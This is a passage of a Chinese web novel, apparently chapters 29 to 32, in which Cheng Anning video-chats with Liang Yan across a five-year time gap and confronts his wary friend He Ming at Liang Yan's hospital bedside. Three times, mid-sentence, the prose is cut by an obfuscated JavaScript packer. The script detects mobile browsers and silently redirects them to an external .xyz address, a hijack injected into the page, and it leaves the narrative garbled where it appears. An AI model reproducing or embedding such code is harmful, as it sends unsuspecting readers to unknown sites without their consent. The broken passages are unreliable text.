程父也开口示意：“宁宁，外边没什么风了，还是快进屋吹空调吧。” 程安宁果然被叫住了。 她转身折返，亲昵地挽上两人的胳膊，笑眯眯开口：“我看我们旁边的别墅停着一辆车，想看看是不是总算有邻居了。” 程父猜测：“应该只是附近哪个业主的车停到这边来了，我前天下午就看到这辆别克车了。” “这样啊……”程安宁悻悻扬眉，随后好奇心来得快去得也快，接过程父手里提着的袋子，欢脱地跑进自家院子里。 程父程母笑容宠溺，跟上她的脚步，温声提醒她跑慢点，眼里满是爱意。 三人消失在视线范围内，梁彦停止录制，目光在不远处的院门停留良久。 他羡慕任何一个他所看到的幸福家庭，却也清晰地认识到自己不曾拥有过。 在这一刻，他觉得自己像是一个在偷窥他人幸福的流浪汉。 …… 程安宁等了很久才等到梁彦出现在电脑的另一端。 她从下班回来后就打开梁彦开发的那个视频软件，一直把自己的界面挂在屏幕上，为的是梁彦打开电脑看到后发现她已经在等他。 终于，晚上十一点，那张轮廓棱角分明的脸总算出现在电脑桌面上。 看着视频界面里哈欠连连的程安宁，梁彦语气抱歉：“不好意思，久等了。” 程安宁收起手机，又忍不住打了个哈欠：“我玩手机都玩困了，你下次加班能不能提前留个言什么的？这样我还能先睡会儿觉再爬起来跟你交流。” 梁彦虚心接受建议，“好的，下次会比较晚出现的话，我会给你留言的。” 顿了顿，他直奔主题：“我今晚抽空去了你家附近，所以在路程方面花了一些时间。” 这番话落下，程安宁瞬间来了精神，忙问道：“这一次的情况怎么样？” 29.29 迎上那双亮闪闪的杏眸，梁彦神色轻松：“一切顺利。” 顿了顿，他低头拉开旁边的抽屉：“稍等，我先把照片和视频传到电脑上。” “好！”程安宁一脸期待，嘴角不自觉上扬。 太好了，这次居然还附赠了视频！ 不一会儿，一段视频文件和数张照片出现在电脑桌面上。 程安宁先是点开照片查看。 照片里，上次没能看到的母亲这一次出现在画面里，一家三口站在车旁，她的父母笑意宠溺，视线全都在十八岁的她身上，像在看一个令人骄傲的小公主，眼里充满爱意。 而后来的她只有在梦里才能看到他们。 程安宁悄然红了眼眶，默默翻看那一张张照片，眸光留恋。 梁彦没有打扰她，安静地等她看完。 看完照片，程安宁把蓄在眼眶里的泪水硬生生逼了回去，打开视频文件。 视频画面是拉近拍摄的，比起照片还要模糊一些，说话的声音需要仔细听才能听清，内容是一家三口稀松平常的对话和互动。 可是即便声音不太清晰，对于一个失去父母的人来说，对有关父母的一切都能够敏锐捕捉到。 视频刚开始，程安宁就听到里边那记忆中久违亲昵的声音。 原本逼退的泪水再次涌上来，只是轻轻眨了一下眼，便像断了线的珠链，止不住地往下掉。 梁彦见状，俊脸鲜有的泛起一丝无措，忍不住唤了她一声：“安宁。” 程安宁抬手胡乱抹去脸上的泪水，弯唇解释：“抱歉，我只是太高兴了。没想到还能看到我爸妈的影像，真的很感谢你！” 虽然她的家里有一本厚厚的相册，里面记录着一家三口各个年龄段的照片，但是那些照片，远远没有梁彦带给她的这些日常片段的影像真实生动。 而她也不喜欢通过老照片怀念他们，所以自从父母去世后，她就没再翻过那本相册，连搬出来居住都不敢带上。 一方面怕触景生情，承受不了一遍遍提醒自己父母不在的事实。另一方面是不想一看到相册里神采奕奕的父母，就想起他们以那么痛苦的方式离世的残酷事实。 现在通过另一时空的梁彦带来的影像，看到自己的父母真实活着，她觉得自己拥有重新翻开相册的勇气了。 见她笑意盈盈，眼梢还挂着泪珠，梁彦眸底的复杂情绪一闪而过，淡淡回道：“不用客气，只是举手之劳。” 不知为何，只要看到对方落泪，他的心里也会跟着难受。上次也是。 程安宁深呼吸一口气，极快地调整好情绪，随后调大视频的音量，又看了一遍。 这一次，通过视频里的对话，像是想起什么有趣的事情，程安宁主动扯开话题道：“我突然想起五年前的今天，我大概在做什么了。” 梁彦诧异接话：“你还记得？” 程安宁点头轻嗯一声：“因为那个时候有一件事情让我印象深刻。” 顿了顿，她继续道：“看到我从我爸手里拿走的那个袋子了没？里面是他们陪我采购的手工材料。” “那段时间，我迷上手工钩织各种小物件，家里随处可见我的成品，每个人到我家做客都会夸上一句，其实他们只是在说客套话，我却当真了。” “那个时候我对自己的手艺充满了信心，觉得每晚可以带上那些小物件出去摆摊体验生活，顺便感受通过自己双手挣钱的成就感。” “于是我做好充足的准备，特地买了一辆摆摊专用的小推车，还另外买了材料亲自把它装扮得很亮眼，然后跑到朗月居附近，也就是我们小区最近的一个夜市摆摊。” “不出意外，生意惨淡，摆了两天摊只卖出去了五个小挂件，还都是朋友赏脸捧场的，一个陌生的顾客都没有。” “而且当时的定价完全是材料的成本价，比同行还便宜，结果愣是没卖出去。” 说到这，程安宁无奈耸肩，脸上笑意开朗，丝毫不觉尴尬。 “不过后来有一天突然出现一个大客户，把我的东西全都买下来了。我特别高兴，最后拿着挣到的钱请朋友吃饭，给我爸妈买礼物，一口气把那笔钱花光了，那种感觉别提多爽了！” 这确实值得庆祝。梁彦听得认真，赞同点头。 程安宁又道：“我本来以为终于遇到一个能欣赏我作品的顾客了，直到有一天我无意间在我爸妈房间抽屉发现我那些钩织作品，我才意识到原来那会儿是他们找人假装顾客买下我所有东西。” “当然了，我发现后没声张，假装什么都不知道，他们还偶尔在其他人面前提起这件事情夸我厉害，我在旁边都不敢搭话。” 说到最后，她忍不住笑出声来，同时抬手迅速抹去刚冒出的泪花。 目光回到视频界面里那张沉静的俊脸，程安宁反应过来，语气抱歉：“我话好像有点多了，扯远了。” “不会。”梁彦淡淡摇头，“我有时候挺喜欢听别人说起自己的事情。” 比如现在。 “我也是。”程安宁提议：“现在换你说说你的事情吧，我来当倾听者。” 梁彦嘴角微扬，婉拒：“我暂时想不起有什么印象深刻的事情，等想到了再告诉你吧。” 比起程安宁丰富多彩的生活，他的生活要枯燥无趣得多，甚至充满荒诞黑暗的色彩。 “今天工作忙吗？”梁彦自然地转移话题。 闻言，程安宁这才想起正事，神色一敛：“说起工作的事情，我跟你说说我这边的进展吧！我今天尝试联系你那两位朋友了。” 她今晚就等着梁彦上线跟他说这个事情。 “只是很奇怪，两个号码都没打通，我干脆请了一下午的假，跑去未来科技找人，结果前台跟我说刘志辉已经在两年前退出未来科技了，她们都不清楚他的新联系方式。” 事态的发展超乎意料，梁彦不由得愣住。 “我还有了另外一个意外发现。”程安宁继续道，“还记得我跟你说过，我到医院探望你，结果出现一个男的带着一群保镖拦住我的事情吗？” 梁彦点头低嗯，神色秒变严肃：“又碰上他们了？” 程安宁噎了一瞬，触及他眼里的紧张和关切，心里暗自诧异，微抿嘴角掩住笑意：“不是，我是今天意外发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788413|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，原来那个男人就是你的好朋友贺明！我是在未来科技公司的大厅看到他的个人宣传海报认出来的！” 梁彦一怔，眉头紧皱。 他自认为对贺明这个好兄弟还算了解，在待人接物方面称得上绅士礼貌，特别是异性。为什么他从程安宁嘴里听到的贺明，却是一个傲慢且蛮不讲理，做出鲁莽抢包举动的人？ 还有选择退出未来科技的刘志辉。 他们三人都把心血倾注在未来科技上，不可能轻易选择退出。 在他出车祸后的那些年，都发生了什么？ 程安宁叹了口气：“我上次在医院接触你那位朋友后，总觉得他怪怪的。也有可能是我想多了吧。” “现在你另外一位朋友刘志辉又联系不上。想要接触到贺明的话，需要想办法跟本尊预约时间才能见上面，感觉要做到这一点不太现实。” 她的行动进展到这里就被卡住了。 顿了顿，程安宁语气商量：“我在想，要不改变一下计划，不把联系对象放在你两位朋友身上了，换成联系你的家人吧！说不定也能从他们那里了解到你出车祸当天的一些事情。” 选择接触梁彦的家人，算是万不得已才会启动的办法。 毕竟以她这个网恋女朋友的身份，尝试接触梁彦的两个好朋友还能糊弄过去。但是换成梁彦的家人，一想到要以这个尴尬的身份去接触他们，嘶…… 只是事情已经到了这一步，身份再尴尬也只能硬着头皮上了！ “不。”刚在心里哄好自己，梁彦突然不带一丝犹豫地拒绝她的提议，语气坚决：“不要找我的家人，我会另外帮忙想办法。” 程安宁微愣，点头尊重他的意见，爽快回道：“行，那这个办法就不采纳了！” 是不想重新勾起家人的伤心回忆吗？ - 如何破局的办法，程安宁在第二天早上先一步想出来了。 碍于没有带上那台二手电脑到公司来，没办法跟梁彦商量，她决定先去探一探，晚上回去再跟他汇报。 虽然很想立刻实行新办法，但是想到昨天刚请过假，今天不好再开口，程安宁愣是熬到傍晚下班，这才打车前往目的地——清城第一人民医院。 想要见贺明，需要跟本尊预约才能见上面。但是，只要她再次跑到梁彦所在的病房，就能把人给召唤出来，就跟上次一样。 抵达医院的时候天色已经完全暗下来，好在她来过一次了，不用像无头苍蝇一样乱转，很轻松就乘着电梯抵达梁彦病房所在楼层。 刚踏入病房的走廊，程安宁抬眼就看到一位身材高大、保镖装扮的男人站在梁彦病房门口，并且还是上次在这里跟她发生争执的其中一位保镖。 哟呵，还在这里守着呢。 正好，她本来还担心会不会没人帮忙带话。 程安宁昂起头，气势汹汹地靠近608号病房。 保镖闻声侧目，似乎也认出了她，随即上前阻拦：“你不能……” 话音未落，程安宁出声打断：“我要找贺明，你让他现在过来一趟，他上次不是说要证据吗？我给他带来了。” 30.30 闻言，保镖懒得搭理她，直接拒绝：“我们贺总不是什么人都见的。” 看得出对方想把自己打发走，程安宁挑眉，“他不来的话，那你别拦着我探望我男朋友。” 说完，她绕开保镖，直奔608病房。 刚走了两步，保镖又重新挡住去路，面上露出凶相，态度强势：“请你离开，不然别怪我不客气。” 这要是周围没有其他人的情况下，程安宁会选择先走为妙，毕竟人家凶神恶煞的，身材高大魁梧，她不敢把人惹毛，不然真起冲突来很吃亏。 不过这会儿走廊上有其他病人家属走动，事态就不一样了。 程安宁眸光微动，扬声道：“你这是在威胁我吗？请问你们有什么资格阻止别人探望病人？要不要让大家过来评评理啊？” 说着，她转头招呼不远处朝这边张望的病人家属：“大哥大姐，你们帮忙评评理！” 眼见其他人靠拢过来，保镖脸色铁青，憋着一口气道：“我们贺总跟梁总是朋友，他有资格阻止骗子和不明身份的人到梁总的病房打扰。” 这意思分明是说她就是这类人。程安宁不乐意了，当即反驳：“我还是你们梁总的女朋友呢！我说了我有证据证明我是梁彦的女朋友，是你一味地想要阻止我见我男朋友。” 说到这，她降下气焰，委屈地抿着小嘴，像是陷入自我怀疑那般，无助地喃喃道：“我只是想见他一面而已，为什么连这种小事都不让？是我做错了什么吗？” 低落的语气带着恰到好处的轻微哭腔。 其他人见状，纷纷打抱不平： “小伙子，人家小姑娘想探望自己的对象，关你们什么事儿啊？” “是啊，你们有什么权利不让人家探望？你问过人家男朋友的意见了吗？” “小姑娘，要我看还是报警好了，这个人看着凶神恶煞的，搞不好会对你动手。” 程安宁点点头，余光瞥向旁边的保镖，无奈叹气：“其实我不想因为这种小事浪费警力，只是他们一定要阻止的话，我也只能求助警察或者媒体记者的帮助了。” 保镖脸色骤变，见没办法敷衍了事，最终气急败坏地掏出手机，扭头丢下一句：“我先跟我们贺总说一声，你在这里等着！” 明白这个办法奏效了，程安宁眸光一亮，点头应了声“好”。 随后，她不忘感谢周围的病人家属帮忙说话，同时道歉打扰到他们，表示接下来的事情她自己处理就好，不麻烦他们了。 要做一个礼貌嘴甜的人，也要做一个在他人面前不好惹的人，这是她独自“流浪”在外几年总结出来的生活小tips。 人群很快散去，保镖拿着手机折返，直接递到她面前：“我们贺总有话要跟你说。” 闻言，程安宁接过手机点下扬声图标：“你好。” “你到底想干什么？”手机那端传来不耐的男声。 程安宁回：“你上次不是说要看我是梁彦网恋女友的证据吗？我今天带过来了。” 贺明冷笑：“你觉得我会相信么？” 程安宁丝毫不慌：“你看了证据再说信不信吧。” 顿了顿，想到他上次极度提防媒体记者出现，程安宁眸光微动，状似漫不经心道：“如果你不打算过来的话，我就找媒体记者和警察帮忙了。” 平淡的语气透着威胁之意。 手机那端安静一瞬，接着响起对方咬牙切齿的声音：“我正在北郊这边，现在出发的话，最快一个小时才能赶到医院。” 这是答应过来跟她见上一面的意思。当然，也带着一种希望对方能够因为等待时间太长而主动取消碰面的意思。 程安宁眸底闪过一丝得逞，会意应下：“行，一会儿见。” 这个家伙果然担心会招来媒体记者。 话落，通话就此结束。 程安宁把手机还回去，顺便瞄了一眼上面的时间，神色若有所思。 既然要等一个小时，那她现在可以在这附近溜达一圈，把晚餐给解决了。 敲定主意，程安宁看向保镖道：“我先到楼下解决晚餐再上来。” 保镖摆着臭脸没有回话，转头看向别处。 反正想要见贺明的目的达成了，程安宁懒得跟无关紧要的人计较，转身离开。 在医院对面一家的小店吃了份炒面，程安宁看了眼时间，踩着路灯下的影子慢悠悠往回走。 经过一家花店，她神色微怔，停下脚步。 探望病人一般是送果篮送花。虽然她到医院是带着目的过来的，并非纯粹的探望，但是她第一次过来和这一次都是两手空空，怎么说也是要装作网恋女友的身份，是不是应该带点东西意思一下比较好？ 不过，对于现在是植物人的梁彦，水果是啃不了了，还是买束花放在病房里摆着吧！ 想到这，程安宁转身进了花店。 不一会儿，她带着一束红得瞩目的玫瑰花回到住院部，手里还提着袋子，里面装着一个玻璃直筒花瓶。 保镖依旧守在病房门口。 程安宁径直上前，开门见山道：“反正已经跟你们贺总打过招呼了，我能先进去看我男朋友了吧？” 保镖皱眉，没等拒绝，就听她补上一句：“你要是跟你们贺总一样有疑心病，可以跟着进病房盯着我。” 保镖顿时没了拒绝的理由，不情不愿地从门前让开。 两人很快一前一后进了病房。 虽然来过一次了，但是再次看到病床上瘦到脱相、面无血色的梁彦，程安宁的心情还是秒变沉重。 她靠近病床，轻声打招呼：“我又来看你啦。” 程安宁把怀中那束花放到旁边的桌上，余光瞥见保镖就站在床尾盯着她的一举一动。 见状，为了强调自己和梁彦的关系不假，她继续跟病床上的梁彦说话：“我今天给你带了一束花，是很好看的红玫瑰。花店的老板娘问我是送给谁的，我说送男朋友，她就给我推荐了玫瑰花。” “是不是很好看？我知道只要是我送的花，你都喜欢对不对？” 实际上是今天碰上玫瑰花打折，她二话不说就买了一束。 程安宁把袋子里的玻璃花瓶拿出来，递到昏迷不醒的梁彦面前，仿佛他真的能看到似的，开心介绍道：“老板娘被我们的故事感动了，特地送了我一个花瓶可以放这束花，还祝福你能够早日醒来，我替你感谢了她。” 实际上只要是门店新客，按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14801933|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照指示在某点评软件上给个好评就能免费领取一个花瓶。其余的事情是她瞎编的。 保镖嘴角抽了抽，忍不住提醒：“花瓶拿稳了，不要砸到我们梁总。” 煽情的氛围突然来这么一句煞风景的话，程安宁回头瞪了一眼：“放心，他是我男朋友，我会比任何人都要小心的！” 说完，她把花瓶放到桌上，转身自然地翻阅床尾挂着的护工打卡表，接着又闲不住，起身拿着花瓶去到病房内的独卫接水。 保镖全程看着她忙活。 贺明赶到医院病房时，程安宁正坐在病床旁边往花瓶里插花。 保镖恭敬问候：“贺总。” 程安宁闻声转头，看到西装革履的贺明带着一行四个保镖涌入病房，眸底闪过一丝诧异。 每次出现都必带保镖，第一次也就算了，第二次明知道她只有一人在这里，还是带一群保镖过来。她可不觉得自己值得对方这么兴师动众。 唯一的可能就是这个男人平日里就是这样的排场出行。 这……有必要吗？大佬一般不都是尽量低调出行吗？这个男人反倒是生怕别人不知道他随行带着一群保镖似的，像是在故意告诉其他人别妄想对他动坏心思的感觉。 与此同时，贺明看向其他保镖示意：“你们先出去吧。” “是。”保镖们会意应下，很快退出病房。 程安宁把最后一朵玫瑰花放到花瓶里，开口打招呼：“贺总，你总算到了。” 贺明站在床尾没再靠近她，沉着脸问：“你说的证据呢？” 程安宁也不墨迹，起身拿出手机，从里面翻出梁彦拍的那段日常报备视频递到他面前：“看吧。” 视频里传出梁彦的声音和影像，贺明面无异色，很快便看完这段十秒左右的视频。 程安宁神色平静，见他波澜不惊的模样，心里莫名紧张起来。 上次她急中生智编了个网恋故事，贺明觉得她在瞎扯。但是后面通过梁彦在另一个时空的配合，这个时空的贺明应该会比之前多了一段记忆。 只是现在看贺明这个反应，她心里有点打鼓。 难道是因为时隔五年的缘故，就算梁彦说过谈了网恋对象的事情，贺明也早就忘得差不多了？ 心念电转间，程安宁收回手机，在贺明开口之前，又翻出另外一段视频：“或许这个视频也能证明。” 话落，她点下播放，视频里随即传出她的声音：“梁彦宝宝，你吃饭了吗？” 程安宁呼吸一窒，小幅度地打了个冷颤，同时仔细留意贺明的反应。 这一次，这段视频像是唤起他淡忘的记忆，贺明冷淡的神情有了裂痕，目光在她脸上和视频里的影像来回打转。 程安宁看在眼里，面上一喜，忙问道：“想起来了吧？” 只是一瞬，贺明回到原来的淡漠神色，态度傲慢：“没有，我不认识你。” 程安宁一噎，气极反笑：“你睁眼说瞎话！梁彦以前跟我说过，他给你们看过我拍给他的日常视频，而且你刚才的反应分明是认出我了对不对？！” 看看看！她就说这个家伙怪怪的！ 现在经过这个事情，她更加确定这个叫贺明的家伙不对劲！ 31.31 贺明没有回话，极具压迫的探究视线落在她身上，勾唇冷嘲：“我很好奇，你处心积虑要向我证明你是梁彦的女朋友，究竟有什么目的？你应该清楚，单凭你们的情侣关系，分不到他名下任何财产的。” 这意思是说她做这一切都是为了钱。程安宁深呼吸一口气压住怒气，捕捉他话里的另一个重点，反问：“所以你这是承认我确实是梁彦的女朋友了？” 贺明直接把她当空气，抬手看了眼腕表上的时间，继续自说自话：“说吧，你想要多少钱？” 程安宁忍无可忍，怒气值蹭蹭往上涨，厉声反驳：“你把我当什么人了？我只是想陪着我的男朋友，没有其它任何想法！你无凭无据恶意揣测我，我是不是也可以揣测你居心不良？” 那双漂亮的杏眸瞪得溜圆，明亮且坚定，带着不容质疑的坦荡。 贺明凝视片刻，突然一扫先前的傲慢，开口道：“抱歉，梁彦是我多年的朋友，我只是担心有人会趁机榨干他名下的财产。如果是我误解了你，我可以跟你道个歉。” 语气温和谦逊，仿佛瞬间变了个人。 像是烧得正旺的大火突然被扑灭，程安宁被他秒变态度这一招打个措手不及。 一口气卡在心里不上不下，程安宁深呼吸一口气，勉强敛起自己的火气，肃着脸道：“你确实应该跟我道歉。你刚才也说了，我和梁彦只是情侣关系，得不到一分一毫，请问我在这种节骨眼上还怎么榨干他的财产？” 贺明低嗯一声，“你说得是。” 顿了顿，虚心道歉：“对不起，是我精神过度紧绷了，请见谅。” 程安宁神色稍缓，淡淡点头，同时悄然打量眼前的男人。 这个家伙在能屈能伸这一点，她是佩服的。 上次强行翻她的包，后面说道歉就道歉。这次睁眼说瞎话说不认识她，还恶意揣测她，结果变脸比翻书还快，突然就跟她道歉了。 难道真的是因为怕有人招摇撞骗，所以才反应过激的？ 这么说，是她误解这个家伙了？可是，她还有一些疑惑没有解开。 思索间，一旁的贺明挪步示意：“我们到走廊上聊聊吧。” 程安宁会意点头，跟着他出了病房。 走在前面的贺明停下脚步，转身把她身后的门掩上。 程安宁见状，眼里透着不解。 只是出来聊聊，为什么还要特地关上病房的门？一会儿谈完不还要重新进去吗？ 贺明转头对上她疑惑的眸光，自觉解释：“听说植物人能够听到外界的一切声音，不知道是不是真的。不过我觉得还是避开一下比较好。” 程安宁眼里疑惑加深，问：“是有什么话需要避开梁彦说的吗？” 贺明点头低嗯，面色变得沉重，喉间发出一声叹息：“不瞒你说，梁彦每一年的身体状况都在变差。他的伤势很严重，体内器官有不同程度的损伤，我们找过国外的医疗团队，他们说要做好梁彦这辈子不可能醒来的心理准备。” “再加上今年检查的报告显示他的情况不太乐观，医生说要做最坏的打算。” 明白他的话外之意，程安宁心下一沉，不自觉收紧身侧的手，神情紧绷。 最坏的打算，也就是梁彦随时都有可能离世的事实。 这个时空的梁彦，生命正在逐渐消亡。 贺明低头看她，话锋一转：“现在知道你和我都是真正为梁彦着想，我可以放心了。以后你想什么时候过来看梁彦都可以，我想他肯定很开心。” 程安宁整理好情绪，点头轻嗯一声，随后抬眼迎上他的视线问：“对了，你知道刘志辉刘先生的联系方式吗？我以前听梁彦提起过你们这两个好兄弟，现在我见到你了，我想顺便见见他。” 贺明闻言一愣，而后别过脸，语气平淡：“不清楚，我跟他很久没联系了，他这两年也没有到医院看望过梁彦了。” 程安宁面露诧异，“这样啊……” 顿了顿，她又忍不住接着问：“我听梁彦说过，你们三人的关系很好，为什么没有联系了呢？” 贺明轻嗤一笑，那股轻蔑傲慢的性子一闪而过，语气温和：“哪有那么为什么？合不来就散了，谁都没办法保证友谊能够一辈子不变不是吗？” “也是。”程安宁淡淡点头，眸底闪过一抹若有所思，嘴边感叹道：“还好有你这位好兄弟陪着梁彦，我想他如果真的能够感觉到外界一切的话，心里是感动的。” 贺明莞尔一笑：“我只是做了一个朋友该做的事情。” 气氛融洽，距离也拉近了一些，程安宁乘胜追击，语气略带试探：“看到梁彦现在的情况，真不知道他当初经历了什么，你……知道他是怎么出的车祸吗？” 贺明回道：“当年新闻上不都写了么？你应该也有看到，就是上边说的那种情况。” 见他回答得含糊，程安宁微抿小嘴，又问：“那你知道梁彦出车祸那天的具体行程吗？” 闻言，贺明眸光一凝，声音冷了下来：“为什么这么问？” 程安宁敏锐地察觉到他眼里升起的警惕，原本放下的戒心不由得提了上来。 她眸底闪过一丝异色，面色如常道：“我只是想了解梁彦之前的事情。毕竟我没陪在他身边，不清楚他出事那天都在忙些什么，这也是我的遗憾。” 说到这，她失落敛眸，重叹一声：“如果那个时候我能多嘱咐他注意休息，晚上不要开车的话，是不是就能避免出事了？” 这样的回答无懈可击，贺明这才缓了神色，移开视线道：“这种事情已经不重要了，你还是趁现在好好陪着他吧，不要再留下遗憾。” 没能从他嘴里撬出有用的讯息来，程安宁点到为止，没再多问。 随后，两人分别重新做了个自我介绍，客套地握了握手，交换了联系方式便结束聊天。 程安宁回病房拿上自己的包包准备回家，同时不忘跟病床上的梁彦道别。 贺明站在病房门口，见她出来了，面带友善的微笑，主动搭话：“程小姐，如果你不介意的话，可以坐我的车，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809246|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正好也要回去了，顺便送你。” 程安宁回以一笑，婉拒：“不麻烦你了。” 贺明没再坚持，和她一同乘电梯离开，最后在医院的一楼大厅告别。 打车回去的路上，程安宁频频转头看车窗和望向后方的车流，神情严肃。 见她紧张不安的模样，仿佛摊上事儿，司机不敢多问，加快车速把她送达目的地就赶紧开溜。 回到家关上门，程安宁这才彻底松了口气。 还好，一路上没有发现有可疑的车辆跟着她。 不怪她神经兮兮，而是那个贺明给她一种不舒服的、怪异的感觉。 虽然最开始在知道误解了她后，贺明主动道歉了，并且后面的交流中，他面带微笑，语气温和，但是笑意浮于表面，不达眼底，带着一种虚假的示好，像是会随时在背后给你刺一刀的样子，而且说话时眼神直直地盯着人，让人很不自在。 再加上，贺明虽然为自己上次和这次的举动和反应做出了合理的解释，但在她询问梁彦当年出事的相关事情时，贺明突然警觉起来的样子很奇怪，最后也没有给出回答，而是直接带过那个话题，像是不愿提及，也像在有意隐瞒什么。 明明在跟她提起梁彦身体状况的时候，还一副很健谈的样子。为什么到她询问梁彦出事当天的行程就变脸了呢？ 带着乱糟糟的思绪，程安宁手脚麻利地洗完澡，头发还没吹干就在电脑前坐下。 她打开电脑，屏幕上很快冒出一个视频界面，那张棱角分明的俊脸在画面里。 看到这张熟悉的脸庞，程安宁眉眼舒缓，原本紧绷的情绪被一抹安心所取代。 此刻，男人正神色专注地坐在另外一台电脑前，修长且骨节分明的双手在键盘上敲动，而这台开着视频通话软件的电脑被他放在一旁，实时记录着他的一举一动，清脆的敲击键盘声从电脑的另一端传到她耳边。 她知道，梁彦在用这种挂机的方式告诉她已经在线，两人可以随时说话交流。 程安宁随即打开电脑上另外一个软件。 她这边的视频界面刚弹出来，电脑另一端的梁彦似是若有所感，转头看向电脑的位置。 两人的视线隔着屏幕相撞。 程安宁嘴角微扬，率先开口：“晚上好，久等了！” 电脑的另一端，梁彦反应过来，推开面前的电脑，抬手拿起那台旧电脑放到自己面前，自然搭话：“今天加班了吗？” 以往程安宁八点左右就在电脑前了，他每次打开电脑都能得到及时的回应或者看到她在电脑前等待。 他不好让人家总是等他，所以今晚特地把工作带回家处理，这样就可以提前开电脑跟人家交流，结果打开电脑后没看到人，他就此推断程安宁可能加班了。 程安宁随手擦拭着湿漉漉的长发，闻言摇头：“没有，我下班去了趟医院，回家后就立刻洗澡了，现在才有空在电脑前坐下。” 捕捉到她话里的重点，梁彦神色一敛，脱口而出问：“是身体不舒服吗？” 32.32 程安宁被问得一愣，而后失笑：“不是，我又去医院看你了。” 说到这，她顺势分享道：“我这次还给你带了一束花，是很好看的红玫瑰。” 为了证明自己真的买花了，程安宁翻出手机照片递到屏幕的镜头前。 这是她写好评的时候拍的照片。 这下轮到梁彦愣住，心情微妙。 这是他第一次收到花。 虽然是在五年后。 看着照片上那束红艳的玫瑰花，梁彦神色略显拘谨，仿佛已经亲手接过那般，语气郑重：“谢谢，破费了。” 程安宁放下手机，不以为意地摆手：“应该的，不然两手空空去看望你也不好。反正花店打折，还有好评送花瓶的活动呢，我就顺便薅了个花瓶放在你的病房里。” 上扬的语调足以听出她在这件事情上获得的开心与满足，这股情绪也蔓延到了他这里，梁彦眼里泛起浅笑，“这么好的活动福利确实不能错过。” 程安宁赞同点头：“我也觉得！” 说着，意识到扯远了，她神色微敛，把话题绕了回来：“我今天去医院的主要是原因是，我临时想到了一个可以见到贺明的办法，所以傍晚一下班就跑去实施了。” 闻言，梁彦同样敛起轻松的神色，“一切顺利吗？” 程安宁点点头，不由得问道：“我想问一下，你那位叫贺明的朋友，他平日里出行身边都会围着一群保镖吗？” 梁彦神色疑惑，但还是如实回道：“从我认识他开始到现在，还没有见过他有这样的出行方式。” 得到回答，程安宁把医院里的事情，包括如何让贺明现身，以及见面后，看到他又带着一群保镖赴约，还有两人如何从针锋相对，到和睦交谈的过程都说了出来，其中还包括贺明在这过程中的态度变化和怪异的反应。 当然，她有意避开了贺明谈及他目前身体状况不太乐观的坏消息。毕竟先前两人意识到处于不同时空后，梁彦得知自己五年后成了植物人，产生过自暴自弃的想法。 要是知道自己五年后的现在随时可能离世…… 嘶…保险起见，还是不说了。 说到嘴都干了，程安宁拿起旁边的水杯喝了一口，最后总结道：“今晚的事情就是这样。” 顿了顿，生怕人家以为她是在挑拨离间，又严谨地补上一句：“不过这都是我的主观判断，至于贺明这个人是不是有问题，还没有一个确切的答案，我只是觉得跟这个人接触，可能要留点心眼比较好。” 先不说贺明是不是真的担心梁彦被人榨干财产，他上次表现出抗拒媒体记者出现在梁彦的病房，如果说他是不希望记者打扰到梁彦，倒也说得通，但是梁彦在未来科技的相关海报被撤下了，这就有点耐人寻味了，总感觉是有意抹去梁彦对未来科技的付出，把地位和功劳占为己有似的。 总之，该说的她都跟梁彦说了，至于梁彦是什么样的看法，她没办法干涉。 梁彦安静听她说完话，神情严肃地点头：“谢谢，我会注意的。” 程安宁松了口气，“你听得进去就好，我本来还怕你会不会觉得我在污蔑你朋友。” 目前比较可惜的是，梁彦的另外一位朋友刘志辉不知去向。 她在网上搜索过刘志辉的相关词条，寥寥无几，只在一些有关未来科技的宣传报道里被提到过一嘴，除此之外，几乎查无此人，这也导致她在找刘志辉这件事情上无从下手。 并且贺明说刘志辉已经有两年左右没到医院探望过梁彦了，怎么想都觉得奇怪。 如果刘志辉真的是梁彦的好兄弟，不可能整整两年没到医院关心一下。 或许是他没把梁彦当朋友，久而久之觉得没必要探望，就此淡忘了。又或许是忙得抽不开身，又或许是……已经没在这个世上了？ 程安宁被自己冒出的这个猜测吓了一跳，赶紧挥散这个想法。 心念电转间，电脑另一端的梁彦回话：“你没有理由骗我。” 所以他没理由不相信。 “其实我今天也想到一个办法，只是没想到你已经解决了如何见到我朋友的难题。” 程安宁好奇问道：“是什么样的办法？” 梁彦转头在后面的书柜拿了东西，放到电脑的摄像头前：“这是未来科技的新工牌。你之前说过想进未来科技，但是没有访客卡，这个或许可以帮到你。” 这是他今天问刘志辉拿到的工牌。 前些天开会的时候，他听到刘志辉提了一嘴新工牌已经制作完毕，等正式搬到未来科技大厦再发给大家。 于是他今天在想到办法后，主动找到刘志辉，要来了自己的工牌。 